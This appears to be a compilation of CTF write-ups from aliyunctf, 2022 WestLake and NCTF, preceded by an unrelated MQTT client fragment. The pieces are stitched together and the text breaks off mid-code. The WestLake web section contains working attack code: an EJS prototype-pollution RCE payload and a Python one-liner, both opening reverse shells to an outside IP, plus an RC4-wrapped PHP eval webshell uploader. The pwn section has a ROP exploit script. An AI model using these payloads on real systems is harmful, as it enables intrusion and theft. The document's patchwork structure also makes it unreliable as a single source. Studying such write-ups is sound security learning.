def on_connect(session_flag, rc, userdata):
    print("on_connect:%d,rc:%d" % (session_flag, rc))
    pass

def on_disconnect(rc, userdata):
    print("on_disconnect:rc:%d,userdata:" % rc)

def on_topic_message(topic, payload, qos, userdata):
    print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
    pass

def on_subscribe_topic(mid, granted_qos, userdata):
    print("on_subscribe_topic mid:%d, granted_qos:%s" %
          (mid, str(','.join('%s' % it for it in granted_qos))))
    pass

def on_unsubscribe_topic(mid, userdata):
    print("on_unsubscribe_topic mid:%d" % mid)
    pass

def on_publish_topic(mid, userdata):
    print("on_publish_topic mid:%d" % mid)

lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

while True:
    try:
        msg = input()
    except KeyboardInterrupt:
        sys.exit()
    else:
        if msg == "1":
            lk.disconnect()
        elif msg == "2":
            lk.connect_async()
        elif msg == "3":
            rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("subscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("subscribe topic fail:%d" % rc)
        elif msg == "4":
            rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("unsubscribe topic fail:%d" % rc)
        elif msg == "5":
            rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{'id','flag'}")
            if rc == 0:
                print("publish topic success:%r, mid:%r" % (rc, mid))
            else:
                print("publish topic fail:%d" % rc)
        elif msg == "8":
            ret = lk.dump_user_topics()
            print("user topics:%s", str(ret))
        elif msg == "9":
            lk.destruct()
            print("destructed")
        else:
            sys.exit()

这个对python版本有限制,3.10及以上会报错。。。

而且怀疑阿里云这个iot平台有问题🤔发了好几次没通

7a8c22ad088b45a9e37aaf241ee147b

OOBdetection

需要构建的数据只需要第一阶段的内容就够了,只需要知道变量、数组长度就足够了

然后需要测量的是第二段和第三段的访问是否合法,做键值对去记录它在初始化数据时的内容 同时在这个阶段也预处理做一下长度的校验

关键是第三部分的运算求解赋值,把前面的所有的全都搞一个字典存起来,然后在最后一行的话一直替换替换到替换到不包含字母为止,如果它还是包含字母的话就是no,如果全部能替换到的话,就判断它是否溢出。

import binascii
import re
import socket
import subprocess
import os
import subprocess
from hashlib import sha256

def tostr(shizi,num_dict,n_dict,x):
    match = re.search(r'[a-z]', shizi)
    bz = 0
    while (match and bz < 10):
        bz += 1
        for i in num_dict:
            if i in shizi:
                shizi = shizi.replace(i, num_dict[i])
        for i in n_dict:
            if i in shizi:
                shizi = shizi.replace(i, n_dict[i])
        if 'x' in shizi and x != -123123:
            shizi = shizi.replace('x', str(x))
        match = re.search(r'[a-z]', shizi)
    if bz == 10:
        return 'unknown'
    else:
        return shizi
def panduan( qus):
    n_dict = {}
    max_dict={}
    num_dict={}
    double_dict=[0,0,0]
    x=-123123
    last=''
    for line in qus.splitlines():
        try:
            line=line.replace(' ', '')
            match = re.search(r'int\w\[(.*?)\]\[(.*?)\];', line)
            if match:
                tmp1=match.group(1)
                tmp2 = match.group(2)
                tmp1=tostr(tmp1,num_dict,n_dict,x)
                tmp2=tostr(tmp2,num_dict,n_dict,x)
                if tmp1=='unknown':
                    return 'unknown'
                else:
                    double_dict[1]=eval(tmp1)
                    double_dict[2]=eval(tmp2)
            match = re.search(r'\[(\d+)\]\[(\d+)\]=', line)
            if match:
                if int(match.group(1))<int(double_dict[1]) and int(match.group(2))<int(double_dict[2]):
                    return 'safe'
                else:
                    return 'oob'
            if 'int' in line and not re.search(r'\[(.*?)\]\[(.*?)\];', line):
                match = re.search(r'intx=(\d+);', line)
                if match:
                    x=int(match.group(1))
                # 读取n、n1...
                match=re.search(r'int(n\d*)=(\d+);',line)
                if match:

                   n_dict.update({match.group(1): match.group(2)})
                else:
                    #读取栈上限
                    match = re.search(r'int(\w)\[(n.*)\];', line)
                    if match:
                        max_dict.update({match.group(1): n_dict[match.group(2)]})
                    else:
                        match = re.search(r'int(\w)\[(\d+)\];', line)
                        if match:
                            max_dict.update({match.group(1): match.group(2)})
            else:
                match=re.search(r'(.*?)=(.*?);', line)
                if match:
                    last = line
                    num_dict.update({match.group(1): match.group(2)})
                    match=re.search(r'(\w)\[(\d+)\]=.*?;', line)
                    if match:
                        if int(match.group(2))>=int(max_dict[match.group(1)]):
                            return 'oob'
        except Exception as e:
            print(e)
            return 'oob'
    match = re.search(r'(\w)\[(.*?)\]=.*?;', last)
    if match:
        zimu=match.group(1)
        str1=match.group(2)
        str1=tostr(str1,num_dict,n_dict,x)
        # print(x)
        # print(str1)
        if str1=='unknown':
            return str1
        # print(str1)
        try:
            if eval(str1)>=int(max_dict[zimu]) or eval(str1)<0:
                return 'oob'
            else:
                return 'safe'
        except Exception as e:
            return 'oob'
    return 'unknown'
if __name__ == '__main__':
    # 执行 nc 命令并获取其输出内容
    remote_host = '47.98.209.191'
    remote_port = 1337
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接远程主机的指定端口
    sock.connect((remote_host, remote_port))
    # 接收远程主机发送的数据
    data1 = sock.recv(1024)
    data=data1.decode('utf-8')
    print(data)
    str1=data[13:27]
    str2=data[32:96]
    print(str1)
    print(str2)
    answer=''
    question=''
    count=0;
    data2 = sock.recv(1024)
    for i in range(256):
        for j in range(256):
            for k in range(256):
                a=i.to_bytes(1,byteorder='big')
                b=j.to_bytes(1,byteorder='big')
                c=k.to_bytes(1,byteorder='big')
                # s = os.urandom(10)
                s = a+b+c+bytes.fromhex(str1)
                digest = sha256(s).hexdigest()
                if digest == str2:
                    answer=s[:3].hex()
                    print('Answer is:',s[:3].hex())
                    break
            else:
                continue
            break
        else:
            continue
        break
    answer = answer+'\n'
    sock.send(answer.encode())
    while True:
        while True:
            chunk = sock.recv(1024)
            # print(chunk.decode('utf-8'))
            # print(1)
            if 'int' in chunk.decode('utf-8'):
                question=chunk.decode('utf-8')
            if 'safe/oob/' in chunk.decode('utf-8'):
                # print(2)
                break
            if 'rong' in chunk.decode('utf-8'):
                input()
        # print(3)
        count+=1;
        answer = panduan(question)+'\n'
        # print(answer.encode())
        print(count)
        sock.send(answer.encode())
        if count>=300:
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            input()
    # print('complate!')
    #aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}

image

2022 WestLake CyberSecurity Conference partly WriteUp | To break new ground

Web

real_ez_node

拿到源码,发现 routes/index.js 里面使用了 safe-obj,应该是考察他的原型链污染漏洞,因为对对象进行操作的nodejs模块存在原型链污染漏洞的概率是非常大的。使用以下poc进行测试,发现确实存在原型链污染:

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

image-20230202165056134

但是题目过滤了 __proto__ 源码,一般情况下直接用 constructor 和 prototype 组合 {"constructor": {"prototype": {"whoami": "Vulnerable"}}} 就能绕过了,但是这里不行。跟进 safeobj.expand() 的源码一探究竟:

image-20230202165323983

发现如果键名里面存在 . 才会继续调用 _safe.expand,相当于递归merge的操作,那么我们可以用以下构造便能绕过 __proto__ 了:

{"constructor.prototype.whoami": "Vulnerable"}

此外,题目还是用了 ejs 模板引擎,那么我们很容易想到原型链污染+ejs构造RCE,但是触发原型链污染的/copy路由必须从127.0.0.1本地访问,需要进行ssrf:

image-20230202165640299

发现 /curl 路由可以发起http请求,可以触发ssrf:

image-20230202165726037

还有一点,/copy路由只能用post方法访问,从Dockerfile可以看到当前nodejs版本为8.1.2:

image-20230202165937321

该版本存在 Unicode 字符损坏造成的 HTTP 拆分攻击,之前出过很多这种题目了,可以直接看我写的博客:https://xz.aliyun.com/t/9707#toc-11

编写以下脚本构造payload:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.117.125.220/2333 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

将生生成的payload进行url编码后发包:

image-20230202105741820

成功反弹shell并得到flag:

image-20230202105645424

扭转乾坤

一个java上传:

image-20230202123907702

上传,需要从RFC规范差异绕过waf,直接参考https://www.anquanke.com/post/id/241265 这篇文章钟大哥描述,在Content-Type里面加一个空格即可绕过(即 multipart/fo rm-data),如下图所示。当然,加双引号也是可以绕过的。

image-20230202124010209

请求成功之后直接就得到了 flag。

Node Magical Login

image-20230202134359393

直接将cookie设为 user=admin 就可以拿到 flag1:

image-20230202134830593

然后想办法拿到flag2:

image-20230202134512439

这里的判断存在缺陷,我们可以通过json传入一个长度为16的数组,让 checkcode = checkcode.toLowerCase() 报错,然后进入 catch 就能拿到flag:

POST: /getflag2
Body:{"checkcode":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}

image-20230202134911320

unusual php

直接读index.php发现乱码:

image-20230202162107451

应该是对php源码进行了加密。读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展,如下图所示。

/?a=read&file=/proc/self/maps

image-20230202162439024

通过php://filter加base64将zend_test.so读取出来:

/?a=read&file=php://filter/read=convert.base64-encode/woofers/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

image-20230202162653031

然后用IDA逆向,发现 RC4_set_key 函数:

image-20230202162716228

寻找调用该函数的地方,发现my_compile_file函数调用了这个RC4_set_key 函数:

image-20230202162824124

反编译发现 RC4 密钥 abcsdfadfjiweur,见下图:

image-20230202162921835

目前可以知道,服务器上的php源码是经过RC4加密的,题目加载自定义zend_test.so扩展,对php源码解密后进行解析。

因此我们在上传webshell的时候需要对webshell进行RC4加密,然后上传。

从网上找个RC4加密脚本:https://blog.51cto.com/pythonywy/2838927 简单改改即可成功上传webshell:

import requests
from Crypto.Cipher import ARC4

def rc4_encrypt(data, key):
    key = bytes(key, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    return res

files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>", "abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-eead2f3ac80e4ead9b3fccd9f665b816.m.ins.cloud.dasctf.com:81/?a=upload', files=files)
print(res.text)

然后反弹shell:

cmd=system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.117.125.220',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");

根目录发现flag:

image-20230202161646926

直接读没有权限,需要提权,suid不行,尝试sudo提权:

sudo -l

image-20230202161832598

在gtfobins上搜到chmod的sudo提权方法:

image-20230202161926154

成功得到flag:

image-20230202162004884

Crypto

MyErrorLearn

不会造格子,看到随机数只有246位,想到用二元cop梭

两组rd消掉secret

因为是个随机数,所以有一定可能没有逆元,多搞几组数据,总能跑出来

import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        R = f.base_ring()
        N = R.cardinality()
        f /= f.coefficients().pop(0)
        f = f.change_ring(ZZ)

        G = Sequence([], f.parent())
        for i in range(m + 1):
            base = N ^ (m - i) * f ^ i
            for shifts in itertools.product(range(d), repeat=f.nvariables()):
                g = base * prod(map(power, f.variables(), shifts))
                G.append(g)

        B, monomials = G.coefficient_matrix()
        monomials = vector(monomials)

        factors = [monomial(*bounds) for monomial in monomials]
        for i, factor in enumerate(factors):
            B.rescale_col(i, factor)

        B = B.dense_matrix().LLL()

        B = B.change_ring(QQ)
        for i, factor in enumerate(factors):
            B.rescale_col(i, 1 / factor)

        H = Sequence([], f.parent().change_ring(QQ))
        for h in filter(None, B * monomials):
            H.append(h)
            I = H.ideal()
            if I.dimension() == -1:
                H.pop()
            elif I.dimension() == 0:
                roots = []
                for root in I.variety(ring=ZZ):
                    root = tuple(R(root[var]) for var in f.variables())
                    roots.append(root)
                    return roots
        return []
p = 25235191023234507111851456801584528206985042372267404671395031238130953062002356925024712987566004666222040105887691280375737186627897258541670845000341876132788858532732358145460508251021346995709254475670322359379637454607373466811177186085463653085496949031553289898489953299178676637862141836718530047773

r1 = 10544517294635945308817470415673953180771362098899599976968725399311297296771746063997656229842402301560388736537720072539280424639830877602651632407831551
d1 = 2782528780800419362659480974397004651422831281847745023224292163582634715423442801703341739873334730188828548753799159782529647181590717434501610505691395089780318863450133125982641536246649982688739268421835101997544552742224093729633871069390982382877002517870454671460305638156813116404018630273442795789
r2 = 10499691476661565229277475757146922660983129109495092615067985844065823389870815687394514169362044750353685361213441768156054347771612267920637103002028879
d2 = 3547744859224246950881898678283331489783118786682083992297673853987124277732975529747762299888847775026877369564156210168611385895832076443705943229153199445510086462041507723641534793223186305472220492817699838310227909445124212707082628331021332354893506157533573796617760071491467464095229951567625188503
def secret(p,r1,d1,r2,d2):
    PR.<t1,t2> = PolynomialRing(Zmod(p))
    f1 = d2+t2-(d2+t2)*(d1+t1)*r1
    f2 = d1+t1-(d2+t2)*(d1+t1)*r2
    f = f1-f2
    roots = small_roots(f, (2^246, 2^246), m=5)
    if roots:
        t1,t2 = roots[0]
        S = gmpy2.invert(int(d1+t1), p)-r1
        return int(S)
    else:
        return 'nonono'
print(secret(p,r1,d1,r2,d2))

把求出的secret递回去

image-20230202122542460

Misc

take_the_zip_easy

zip明文爆破的深入利用:已知文件名为dasflow.加上zip默认头504B0304,8+4=12,可以明文爆破

image-20230202122553625

image-20230202122542460

解压后是流量包

做过类似的,魔改的哥斯拉流量,套了一个gzdecode,das月赛书鱼的秘密,直接抄脚本:http://mon0dy.top/2022/04/11/2022DASCTF%20X%20SU%20%E4%B8%89%E6%9C%88%E6%98%A5%E5%AD%A3%E6%8C%91%E6%88%98%E8%B5%9B/#%E4%B9%A6%E9%B1%BC%E7%9A%84%E7%A7%98%E5%AF%86

image-20230202122701532

挨个解,找到

image-20230202122750249

先解响应包

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
#前后去掉16个定位符
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY='),$key));

image-20230202122819779

看到adding flag,确定zip的密码在这个包的请求里

解请求包:

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
$data = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));

image-20230202122626139

得到flag.zip的密码

image-20230202122724425

在找到flag.zip

image-20230202133104326

解压flag.zip即可

mp3

mp3尾部有个图片,提出来,zsteg发现有个zip压缩包

image-20230202133618492

zip是损坏的,winrar修复一下,有密码

mp3stego空密码

image-20230202134006074

提取出zip的密码为8750d5109208213f,解压

image-20230202133420929

rot47

image-20230202133444078

控制台一跑

image-20230202133511033

签到题喵

图片底部有额外文字

image-20230202134205583

image-20230202134240840

image

Re

Dual personality

ida打开后需要先定义函数,然后去掉一些没用的跳转后可以反编译代码

image-20230202134309690

这里先进行了一次加密,dword的数据可以通过动调得到为0x5DF966AE

进入for循环的dword为0x3CA7259D,这样这一部分就可逆了

int __cdecl sub_401120(size_t Size, int a2)
{
  char *v2; // ebx
  char *retaddr; // [esp+D0h] [ebp+4h]

  dword_407050 = VirtualAlloc(0, Size + 6, 0x3000u, 0x40u);
  dword_407000 = (int)dword_407050;
  memcpy(dword_407050, retaddr, Size);
  v2 = (char *)dword_407050 + Size;
  *v2 = -23;
  *(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
  v2[5] = -52;
  *retaddr = -22;
  *(_DWORD *)(retaddr + 1) = a2;
  *(_WORD *)(retaddr + 5) = 51;
  return 0;
}

经过动调发现sub_401120函数会将这个地址后⾯的7个字节的地址改造成进⾏位数转化的jmp far

⽬标地址的指令,⽽新开空间保存的代码,他会跳转回原来返回地址+7的地方,跳过改造之后的代码

再往下看

image-20230202134309690

这里进行了一次异或,407014只有4位,这里就是按位跟加密后的数据进行异或

在动调中401120函数又对407014的值产生了影响

image-20230202134309690

经过计算值应该是4, 0x77, 0x82, 0x4a

image-20230202134309690

再就是dword位与qword位之间的转化了

下面写解密脚本

data = [0xAA,0x4F,0x0F,0xE2,0xE4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0xBC,0x8F,0x8B,0x78,0xD3,0x73,0x88,0x5E,0xAE,0x47,0x85,0x70,0x31,0xB3,0x9,0xCE,0x13,0xF5,0xD,0xCA,0]
k = [4, 0x77, 0x82, 0x4a]
for i in range(len(data)):
    data[i] ^= k[i % 4]

data1 = []
for i in range(4):
    a = data[i * 8]
    a += data[i * 8 + 1] << 8
    a += data[i * 8 + 2] << 16
    a += data[i * 8 + 3] << 24
    a += data[i * 8 + 4] << 32
    a += data[i * 8 + 5] << 40
    a += data[i * 8 + 6] << 48
    a += data[i * 8 + 7] << 56
    data1.append(a)
#print(data1)
def fun1(e, m):
    return (e >> m) | ((e << (64 - m)) )
data1[0] = fun1(data1[0], 12)
data1[1] = fun1(data1[1], 34)
data1[2] = fun1(data1[2], 56)
data1[3] = fun1(data1[3], 14)
for i in range(4):
    data[i * 8] = data1[i] & 0xff
    data[i * 8 + 1] = (data1[i] >> 8) & 0xff
    data[i * 8 + 2] = (data1[i] >> 16) & 0xff
    data[i * 8 + 3] = (data1[i] >> 24) & 0xff
    data[i * 8 + 4] = (data1[i] >> 32) & 0xff
    data[i * 8 + 5] = (data1[i] >> 40) & 0xff
    data[i * 8 + 6] = (data1[i] >> 48) & 0xff
    data[i * 8 + 7] = (data1[i] >> 56) & 0xff
print(data)
data2 = []
for i in range(8):
    a = data[i * 4]
    a += data[i * 4 + 1] << 8
    a += data[i * 4 + 2] << 16
    a += data[i * 4 + 3] << 24
    data2.append(a)
print(data2)
#[1846184147, 2330059187, 209878574, 218208010, 168089402, 120629780, 140382767, 282460734]

exp:

data2=[1846184147,2330059187,209878574,218208010,168089402,120629780,140382767,282460734]
t=0x3CA7259D
flag=[0]*32
flag1=[0]*8
for i in range(8):
  flag1[i]=data2[i]-t
  flag[i * 4] = flag1[i] & 0xff
  flag[i * 4 + 1] = (flag1[i] >> 8) & 0xff
  flag[i * 4 + 2] = (flag1[i] >> 16) & 0xff
  flag[i * 4 + 3] = (flag1[i] >> 24) & 0xff
  t ^= data2[i]
print(bytes(flag))
#b'6cc1e44811647d38a15017e389b3f704'

PWN

DAS留言板

image-20230202134309690

一次格式化字符串+orw

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#p = process('./pwn')#, env={"LD_PRELOAD":'./libc.so.6'})
p = remote('tcp.cloud.dasctf.com',24690)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

sla('Welcome to DASCTF message board, please leave your name:\n','%p')
ru('Hello, 0x')
stack = int(r(12),16)+8
leak('stack',stack)

rdi = 0x0000000000401413
leave = 0x00000000004012e1
pl = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

ru('Posted Successfully~\n')
libcbase = uu64(r(6)) - libc.sym['puts']
leak('libcbase',libcbase)

#rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx = libcbase + 0x0000000000142c92
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pl = b'./flag\x00\x00' + p64(rdi) + p64(stack-0x178) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x0404180) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x0404180) + p64(puts) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack-0x178)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

itr()

感觉给的libc不太对,用2.31ubuntu9.7的打通了

2022 NCTF Partly WriteUp | The Last Dance in this year

REVERSE

Cyberpunk

a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha

#include <stdio.h>
#include <stdlib.h>

int main() {
        unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
        uint8_t fuckres[42];
        for (int i = 0; i < 42; i++)
        {
                fuckres[i] = *(((char*)fuck) + i);
        }
        unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
        unsigned char flag[42];
        for (int i = 0; i < 42; i++)
        {
                flag[i] = *(((char*)fuck2) + i)-i;
                flag[i] ^= fuckres[i];
                printf("%c", flag[i]);
        }
}

ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解

from z3 import *

result = [
  0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8, 
  0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
  0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64, 
  0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
  0x75, 0x75, 0xB5, 0x33
]

for i in range(0, len(result), 2):
    x=BitVec('x', 8)
    y = BitVec('y', 8)
    s=Solver()
    s.add(x * 0x7e + y * 0x19 == result[i])
    s.add(x * 0x1f + y * 0x75 == result[i + 1])
    print(s.check())
    print((s.model()))

flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
    s += chr(i)
    print(s)

#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}

just run it

逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key

def decode(a):
    s=a.copy()
    s[0]=a[0]
    s[1]=a[1]
    s[2]=a[4]
    s[3]=a[8]
    s[4]=a[5]
    s[5]=a[2]
    s[6]=a[3]
    s[7]=a[6]
    s[8]=a[9]
    s[9]=a[12]
    s[10]=a[13]
    s[11]=a[10]
    s[12]=a[7]
    s[13]=a[11]
    s[14]=a[14]
    s[15]=a[15]
    return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
    out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
    print(chr(i),end='')

得到争取的key W1lc0menctf2o2o!

动调推出下面为SM4

box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'

其中最后sm4解密我用的是在线解密

ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto

signin

  1. MTP攻击后校正
  2. 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""

import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def attack(cipher):
    dat = []

    def getSpace(c):
        for index, x in enumerate(c):
            res = [xo.strxor(x, y) for y in c if x!=y]
            f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
            cnt = [f(pos) for pos in range(len(x))]
            for pos in range(len(x)):
                dat.append((f(pos), index, pos))

    def infer(index, pos):
        if msg[index, pos] != 0:
            return
        msg[index, pos] = ord(' ')
        for x in range(len(c)):
            if x != index:
                msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

    c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
    # print(c)

    msg = np.zeros([len(c), len(c[0])], dtype=int)

    getSpace(c)

    dat = sorted(dat)[::-1]
    for w, index, pos in dat:
